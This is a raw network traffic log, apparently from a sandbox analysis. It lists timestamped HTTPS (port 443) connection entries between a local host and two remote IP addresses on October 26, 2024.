Oct 26, 2024 13:49:10.386111021 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.386630058 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.386657953 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.387134075 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.387144089 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.456376076 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.456442118 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.456463099 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.456481934 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.456509113 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.456537008 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.456548929 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.456554890 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.456587076 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.456619024 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.456625938 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.456634998 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.466079950 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.466211081 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.466382027 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.471358061 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.471358061 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.471417904 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.471448898 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.475382090 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.475529909 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.475646019 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.477555990 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.477618933 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.477663040 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.477682114 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.477796078 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.477942944 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.478010893 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.480179071 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.480211973 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.480364084 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.480418921 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.480437040 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.480449915 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.480454922 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.482322931 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.482338905 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.483613014 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.483701944 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.483779907 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.483943939 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.483978987 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.486864090 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.486896992 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.486954927 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.487241030 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.487248898 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.490190029 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.490251064 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.491072893 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.491278887 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.491290092 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.491302013 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.491306067 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.495199919 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.495235920 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.495361090 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.495744944 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.495758057 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.519421101 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.519501925 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.519809008 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.519897938 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.519898891 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.519951105 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.519980907 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.523336887 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.523386955 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.523534060 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.523808002 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:10.523822069 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:10.576284885 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.576314926 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.576407909 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.576415062 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.642132998 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.689882040 CEST	49806	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.689927101 CEST	443	49806	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.689996958 CEST	49806	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.691518068 CEST	49806	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.691538095 CEST	443	49806	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.696491957 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.696504116 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.696548939 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.696563005 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.696577072 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.696590900 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.696592093 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.696645021 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.748838902 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.748852968 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.748888969 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.748903990 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.748908997 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.748923063 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.748945951 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.748965025 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.748972893 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.748987913 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.831485987 CEST	49807	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.831526995 CEST	443	49807	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.831679106 CEST	49807	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.831973076 CEST	49807	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.831986904 CEST	443	49807	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.869132996 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.869149923 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.869172096 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.869180918 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.869199038 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.869225979 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.869256973 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.869280100 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.878226042 CEST	49808	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.878269911 CEST	443	49808	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.878353119 CEST	49808	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.879087925 CEST	49808	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.879097939 CEST	443	49808	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.946141005 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.946167946 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.946208000 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:10.946217060 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:10.946273088 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.066545963 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.066618919 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.066654921 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.066667080 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.066711903 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.178642988 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.178674936 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.178714991 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.178723097 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.178736925 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.178766966 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.212975025 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.213586092 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.213610888 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.215816975 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.215833902 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.218019962 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.219104052 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.219177961 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.220093012 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.220108032 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.223722935 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.224536896 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.224546909 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.225243092 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.225250006 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.229542971 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.229562044 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.229645967 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.229671955 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.229712963 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.255701065 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.258956909 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.258980989 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.259704113 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.259710073 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.295430899 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.296186924 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.296221018 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.297044992 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.297055006 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.315192938 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.315253019 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.315275908 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.315300941 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.315331936 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.315346956 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.315387964 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.315433979 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.315439939 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.315572977 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.315639019 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.316690922 CEST	49794	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.316708088 CEST	443	49794	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.343092918 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.343163967 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.343328953 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.347071886 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.347305059 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.347450972 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.361000061 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.361031055 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.361071110 CEST	49801	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.361083031 CEST	443	49801	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.362421036 CEST	49802	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.362452030 CEST	443	49802	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.364063978 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.364140034 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.364355087 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.366494894 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.366523981 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.366583109 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.368505001 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.368542910 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.368624926 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.368755102 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.368763924 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.368781090 CEST	49803	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.368784904 CEST	443	49803	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.369848013 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.369863033 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.372211933 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.372245073 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.372513056 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.372709990 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.372733116 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.372750044 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.372761965 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.389283895 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.389362097 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.389508963 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.394416094 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.394417048 CEST	49804	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.394452095 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.394464970 CEST	443	49804	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.398504972 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.398538113 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.398719072 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.399036884 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.399049044 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.434552908 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.434686899 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.434777975 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.435147047 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.435147047 CEST	49805	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.435194016 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.435208082 CEST	443	49805	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.440505028 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.440542936 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.440675020 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.440874100 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:11.440887928 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:11.554972887 CEST	443	49806	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.556235075 CEST	49806	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.556256056 CEST	443	49806	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.556619883 CEST	443	49806	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.557374001 CEST	49806	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.557455063 CEST	443	49806	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.557626009 CEST	49806	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.599324942 CEST	443	49806	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.683070898 CEST	443	49807	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.686860085 CEST	49807	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.686896086 CEST	443	49807	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.687304020 CEST	443	49807	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.691632032 CEST	49807	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.691632032 CEST	49807	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.691720963 CEST	443	49807	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.749324083 CEST	443	49808	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.749608040 CEST	49808	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.749635935 CEST	443	49808	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.749969959 CEST	443	49808	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.751128912 CEST	49808	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.751187086 CEST	443	49808	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.751518011 CEST	49808	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.795334101 CEST	443	49808	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.854249001 CEST	443	49806	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.854331970 CEST	443	49806	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.854451895 CEST	49806	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.854890108 CEST	49806	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.854907036 CEST	443	49806	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.861318111 CEST	49807	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.938694000 CEST	443	49807	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.938787937 CEST	443	49807	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:11.938832998 CEST	49807	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.940720081 CEST	49807	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:11.940740108 CEST	443	49807	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:12.004014969 CEST	443	49808	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:12.004086971 CEST	443	49808	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:12.004143953 CEST	49808	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:12.004556894 CEST	49808	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:12.004585981 CEST	443	49808	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:12.112634897 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.118649006 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.118673086 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.119144917 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.119157076 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.136979103 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.137103081 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.137417078 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.137437105 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.138108015 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.138113022 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.138170004 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.138202906 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.138524055 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.138530970 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.149297953 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.149765968 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.149791956 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.150193930 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.150198936 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.199938059 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.200575113 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.200598955 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.201457024 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.201474905 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.273348093 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.273437023 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.273521900 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.274303913 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.274324894 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.274337053 CEST	49812	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.274346113 CEST	443	49812	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.276937008 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.276949883 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.277017117 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.277025938 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.277072906 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.277146101 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.277148008 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.277148008 CEST	49811	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.277167082 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.277179003 CEST	443	49811	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.277347088 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.277389050 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.277435064 CEST	49810	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.277462006 CEST	443	49810	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.277478933 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.278568029 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.278578997 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.280342102 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.280369043 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.280468941 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.280482054 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.280508041 CEST	49817	443	192.168.2.5	13.107.246.60
